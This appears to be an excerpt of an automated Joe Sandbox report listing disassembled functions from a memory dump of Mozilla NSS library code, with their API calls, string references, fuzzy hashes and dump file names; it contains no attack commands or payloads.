sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CDEB999), ref: 6CDED02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6CDEB999), ref: 6CDED041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CDEB999), ref: 6CF3972B

Strings

%s at line %d of [%.10s], xrefs: 6CDECFEC, 6CDED018, 6CDED029, 6CDED03F, 6CF3978B
database corruption, xrefs: 6CDECFE7, 6CDED013, 6CDED028, 6CDED039, 6CDED03E, 6CF39786
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDECFDD, 6CDED00E, 6CDED022, 6CDED033, 6CF39780

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 2cdb83eaf79c906fe67367cbeb4ddbcf18dd17370e191ebfe6c344b993ec1179
Instruction ID: fbdc1e1efc03c4522a448097f5171e39804b7ebff6441ab22f0dde152ddcfe02
Opcode Fuzzy Hash: 2cdb83eaf79c906fe67367cbeb4ddbcf18dd17370e191ebfe6c344b993ec1179
Instruction Fuzzy Hash: 0F613671A042209BD310CF29C840BA6BBF1EF85318F28856DE4489BB82D777D947C7E1

Function 6CEC4DF0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6CEC536F,00000022,?,?,00000000,?), ref: 6CEC4E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6CEC4F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6CEC4F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6CEC4FAE
free.MOZGLUE(?), ref: 6CEC4FC8

Strings

%s=%c%s%c, xrefs: 6CEC4FA9
oSl", xrefs: 6CEC4DFB, 6CEC4EF4, 6CEC4EC5
%s=%s, xrefs: 6CEC4F89

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s$oSl"
API String ID: 2709355791-450401312
Opcode ID: 5fa22802e7ad3a89f732b26f15108d689272556b1a0f620a3369177494865af5
Instruction ID: a220a7fd39aed06ecb91ea4931a193781f58add090e7561b1168b24854a641c2
Opcode Fuzzy Hash: 5fa22802e7ad3a89f732b26f15108d689272556b1a0f620a3369177494865af5
Instruction Fuzzy Hash: 83511771B051898FEB01CA6986917FF7BF59F4230CF3A8127E8B4ABB41D33598058792

Function 6CEEEF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6CF0A4A1,?,00000000,?,00000001), ref: 6CEEEF6D

Part of subcall function 6CF0C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF0C2BF

htonl.WSOCK32(00000000,?,6CF0A4A1,?,00000000,?,00000001), ref: 6CEEEFE4
htonl.WSOCK32(?,00000000,?,6CF0A4A1,?,00000000,?,00000001), ref: 6CEEEFF1
memcpy.VCRUNTIME140(?,?,6CF0A4A1,?,00000000,?,6CF0A4A1,?,00000000,?,00000001), ref: 6CEEF00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6CF0A4A1,?,00000000,?,00000001), ref: 6CEEF027

Strings

dtls13, xrefs: 6CEEEF33

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 4db640bdd1129a196f4292ac8cc78b4960e8ad95e02b8342473f41ca26394a57
Instruction ID: 8dd45623cec10451c8880200b143d3e694e354cce4959404bd5980b159034878
Opcode Fuzzy Hash: 4db640bdd1129a196f4292ac8cc78b4960e8ad95e02b8342473f41ca26394a57
Instruction Fuzzy Hash: 24311471A01611AFC710CF68DC81B8AB7F4EF4939CF25802AE8189B751E731E915CBE5

Function 6CE6AF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CE6AFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CF89500,6CE63F91), ref: 6CE6AFD2

Part of subcall function 6CEBB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF918D0,?), ref: 6CEBB095

DER_GetInteger_Util.NSS3(?), ref: 6CE6B007

Part of subcall function 6CEB6A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6CE61666,?,6CE6B00C,?), ref: 6CEB6AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6CE6B02F
PR_CallOnce.NSS3(6CFC2AA4,6CEC12D0), ref: 6CE6B046
PL_FreeArenaPool.NSS3 ref: 6CE6B058
PL_FinishArenaPool.NSS3 ref: 6CE6B060

Strings

security, xrefs: 6CE6AFB8

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: ca42f56674b9b05c4618bc94e144dd98112598a8df9b879e97b330265db24d5f
Instruction ID: c183fd1c07ea7bf018df495da0b5951e982a6f871fce5537ed768f8450f14aca
Opcode Fuzzy Hash: ca42f56674b9b05c4618bc94e144dd98112598a8df9b879e97b330265db24d5f
Instruction Fuzzy Hash: 83310370954300DBDB108F259844BAA7BB4AF8632CF200619F8B59BBD1E7328509D797

Function 6CEACC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6CEACD08
PK11_DoesMechanism.NSS3(?,?), ref: 6CEACE16
PR_SetError.NSS3(00000000,00000000), ref: 6CEAD079

Part of subcall function 6CF0C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF0C2BF

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: 5470cbf635688a1e86594a6fd83490b779fa25eb917fd73602f2bf5581fa3c03
Instruction ID: 6e7ba4017804f70b2cc9b71bd6335c8ca4d2abfcb4871015e3ce43bc31c16332
Opcode Fuzzy Hash: 5470cbf635688a1e86594a6fd83490b779fa25eb917fd73602f2bf5581fa3c03
Instruction Fuzzy Hash: 39C180B5A002199FDB10CF65CC80BDAB7F5BF48318F2441A8D948AB741E775AE96CF90

Function 6CE9DC60 Relevance: 13.7, APIs: 9, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6CEA97C1,?,00000000,00000000,?,?,?,00000000,?,6CE87F4A,00000000), ref: 6CE9DC68

Part of subcall function 6CEC0BE0: malloc.MOZGLUE(6CEB8D2D,?,00000000,?), ref: 6CEC0BF8
Part of subcall function 6CEC0BE0: TlsGetValue.KERNEL32(6CEB8D2D,?,00000000,?), ref: 6CEC0C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6CE87F4A,00000000,?,00000000,00000000), ref: 6CE9DD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6CE87F4A,00000000,?,00000000,00000000), ref: 6CE9DE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6CE87F4A,00000000,?,00000000,00000000), ref: 6CE9DE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6CE87F4A,00000000,?,00000000,00000000), ref: 6CE9DE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6CE87F4A,00000000,?,00000000,00000000), ref: 6CE9DF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6CE87F4A,00000000,?,00000000,00000000), ref: 6CE9DF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6CE87F4A,00000000,?,00000000,00000000), ref: 6CE9DF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6CE87F4A,00000000,?,00000000,00000000), ref: 6CE9DFAA

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID:
API String ID: 1886645929-0
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: d5f9c4cd91d4cccf023b63d3b89350ac58bd4fd63abcfb975a4441db9d6c7dce
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: 6981C479E066208BFF148E19C99136972B6DB6134CF34843AD91ACAFE1D778CA84C603

Function 6CE73C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6CE73C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6CE73C94

Part of subcall function 6CE695B0: TlsGetValue.KERNEL32(00000000,?,6CE800D2,00000000), ref: 6CE695D2
Part of subcall function 6CE695B0: EnterCriticalSection.KERNEL32(?,?,?,6CE800D2,00000000), ref: 6CE695E7
Part of subcall function 6CE695B0: PR_Unlock.NSS3(?,?,?,?,6CE800D2,00000000), ref: 6CE69605

PORT_NewArena_Util.NSS3(00000800), ref: 6CE73CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6CE73CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6CE73CE1

Part of subcall function 6CE73090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE8AE42), ref: 6CE730AA
Part of subcall function 6CE73090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE730C7
Part of subcall function 6CE73090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CE730E5
Part of subcall function 6CE73090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CE73116
Part of subcall function 6CE73090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE7312B
Part of subcall function 6CE73090: PK11_DestroyObject.NSS3(?,?), ref: 6CE73154
Part of subcall function 6CE73090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE7317E

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: 27a619c36e7991192836036528aa05fde89358cf3fec2507db0767275d158d1e
Instruction ID: 53dc1e515c054442c80461b76bc4c21590975f335e96d45bc05fdfa1a84a3dcb
Opcode Fuzzy Hash: 27a619c36e7991192836036528aa05fde89358cf3fec2507db0767275d158d1e
Instruction Fuzzy Hash: 4F61B6B5A00300AFEB605EA5DC41FA776B9EF4474CF284068FE099AB62F721D915C7B1

Function 6CEB3D40 Relevance: 13.7, APIs: 9, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 6CEB3440: PK11_GetAllTokens.NSS3 ref: 6CEB3481
Part of subcall function 6CEB3440: PR_SetError.NSS3(00000000,00000000), ref: 6CEB34A3
Part of subcall function 6CEB3440: TlsGetValue.KERNEL32 ref: 6CEB352E
Part of subcall function 6CEB3440: EnterCriticalSection.KERNEL32(?), ref: 6CEB3542
Part of subcall function 6CEB3440: PR_Unlock.NSS3(?), ref: 6CEB355B

TlsGetValue.KERNEL32 ref: 6CEB3D8B
EnterCriticalSection.KERNEL32(?), ref: 6CEB3D9F
PR_Unlock.NSS3(?), ref: 6CEB3DCA
PR_SetError.NSS3(00000000,00000000), ref: 6CEB3DE2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CEB3E4F

Part of subcall function 6CF0C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF0C2BF

TlsGetValue.KERNEL32 ref: 6CEB3E97
EnterCriticalSection.KERNEL32(?), ref: 6CEB3EAB
PR_Unlock.NSS3(?), ref: 6CEB3ED6
PR_SetError.NSS3(00000000,00000000), ref: 6CEB3EEE

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterSectionUnlock$K11_Tokens
String ID:
API String ID: 2554137219-0
Opcode ID: d24ca68a6801730301306cc5924464bc4b913ba56d863ac564c737aec349faa9
Instruction ID: 3d4d91761be5be63b84f873cdd1f3ede8e1da0a47235758f759a22cdc36c348c
Opcode Fuzzy Hash: d24ca68a6801730301306cc5924464bc4b913ba56d863ac564c737aec349faa9
Instruction Fuzzy Hash: 84512271E002008FDB01AF28D986B7B73B0AF4531CF25012AEE0967B22EF31E955CB91

Function 6CE62C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(A7285F58), ref: 6CE62C5D

Part of subcall function 6CEC0D30: calloc.MOZGLUE ref: 6CEC0D50
Part of subcall function 6CEC0D30: TlsGetValue.KERNEL32 ref: 6CEC0D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6CE62C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE62CE0

Part of subcall function 6CE62E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CE62CDA,?,00000000), ref: 6CE62E1E
Part of subcall function 6CE62E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CE62E33
Part of subcall function 6CE62E00: TlsGetValue.KERNEL32 ref: 6CE62E4E
Part of subcall function 6CE62E00: EnterCriticalSection.KERNEL32(?), ref: 6CE62E5E
Part of subcall function 6CE62E00: PL_HashTableLookup.NSS3(?), ref: 6CE62E71
Part of subcall function 6CE62E00: PL_HashTableRemove.NSS3(?), ref: 6CE62E84
Part of subcall function 6CE62E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CE62E96
Part of subcall function 6CE62E00: PR_Unlock.NSS3 ref: 6CE62EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE62D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6CE62D30
CERT_MakeCANickname.NSS3(00000001), ref: 6CE62D3F
free.MOZGLUE(00000000), ref: 6CE62D73
CERT_DestroyCertificate.NSS3(?), ref: 6CE62DB8
free.MOZGLUE ref: 6CE62DC8

Part of subcall function 6CE63E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE63EC2
Part of subcall function 6CE63E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CE63ED6
Part of subcall function 6CE63E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE63EEE
Part of subcall function 6CE63E60: PR_CallOnce.NSS3(6CFC2AA4,6CEC12D0), ref: 6CE63F02
Part of subcall function 6CE63E60: PL_FreeArenaPool.NSS3 ref: 6CE63F14
Part of subcall function 6CE63E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE63F27

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: d5dc5edc45854d6eec4e76bc28b4203921dcf3bd7cdb26688923ce5141c94c1e
Instruction ID: a06a002df6e483999f8aab29959cfc34f7c762c70ffa7ed9e67a2f189039c6f8
Opcode Fuzzy Hash: d5dc5edc45854d6eec4e76bc28b4203921dcf3bd7cdb26688923ce5141c94c1e
Instruction Fuzzy Hash: 1C51DE71A642119BDB019E2ACC88B5B7BF5EFA434CF24082CEC5593B51E731E8158B92

Function 6CE88F70 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CE7DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE88FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6CE7DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE88FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CE7DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE88FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CE7DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CE89013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE7DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CE89042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CE7DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE8905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CE7DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CE89073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE7DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CE890EC

Part of subcall function 6CE50F00: PR_GetPageSize.NSS3(6CE50936,FFFFE8AE,?,6CDE16B7,00000000,?,6CE50936,00000000,?,6CDE204A), ref: 6CE50F1B
Part of subcall function 6CE50F00: PR_NewLogModule.NSS3(clock,6CE50936,FFFFE8AE,?,6CDE16B7,00000000,?,6CE50936,00000000,?,6CDE204A), ref: 6CE50F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE7DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CE89111

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID:
API String ID: 2831689957-0
Opcode ID: d1b035de0a2ec717a41a7f37cfe5c8f5bc294eb94c9c05330c51941608dea88b
Instruction ID: bc345e815f46e06d349298e9ab92da3f119bc633674039cd2c575a17278c9f17
Opcode Fuzzy Hash: d1b035de0a2ec717a41a7f37cfe5c8f5bc294eb94c9c05330c51941608dea88b
Instruction Fuzzy Hash: B5518A71E056058FCB40EF78C48835ABBF0BF0A318F265569DC489B706EB35E985CB91

Function 6CE68980 Relevance: 13.6, APIs: 9, Instructions: 150memoryCOMMON

Download Yara Rule

APIs

PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6CE67310), ref: 6CE689B8

Part of subcall function 6CEC1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CE688A4,00000000,00000000), ref: 6CEC1228
Part of subcall function 6CEC1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CEC1238
Part of subcall function 6CEC1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CE688A4,00000000,00000000), ref: 6CEC124B
Part of subcall function 6CEC1200: PR_CallOnce.NSS3(6CFC2AA4,6CEC12D0,00000000,00000000,00000000,?,6CE688A4,00000000,00000000), ref: 6CEC125D
Part of subcall function 6CEC1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CEC126F
Part of subcall function 6CEC1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CEC1280
Part of subcall function 6CEC1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CEC128E
Part of subcall function 6CEC1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CEC129A
Part of subcall function 6CEC1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CEC12A1

PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6CE67310), ref: 6CE689E6
PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6CE68A00
CERT_CopyRDN.NSS3(00000004,00000000,6CE67310,?,?,00000004,?), ref: 6CE68A1B
PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6CE68A74
PR_SetError.NSS3(FFFFE005,00000000,00000000,?,00000028,?,?,6CE67310), ref: 6CE68AAF
PORT_ArenaAlloc_Util.NSS3(00000004,00000008,00000000,?,00000028,?,?,6CE67310), ref: 6CE68AF3
PORT_ArenaGrow_Util.NSS3(00000004,?,C8850FC0,00000000,00000000,?,00000028,?,?,6CE67310), ref: 6CE68B1D

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
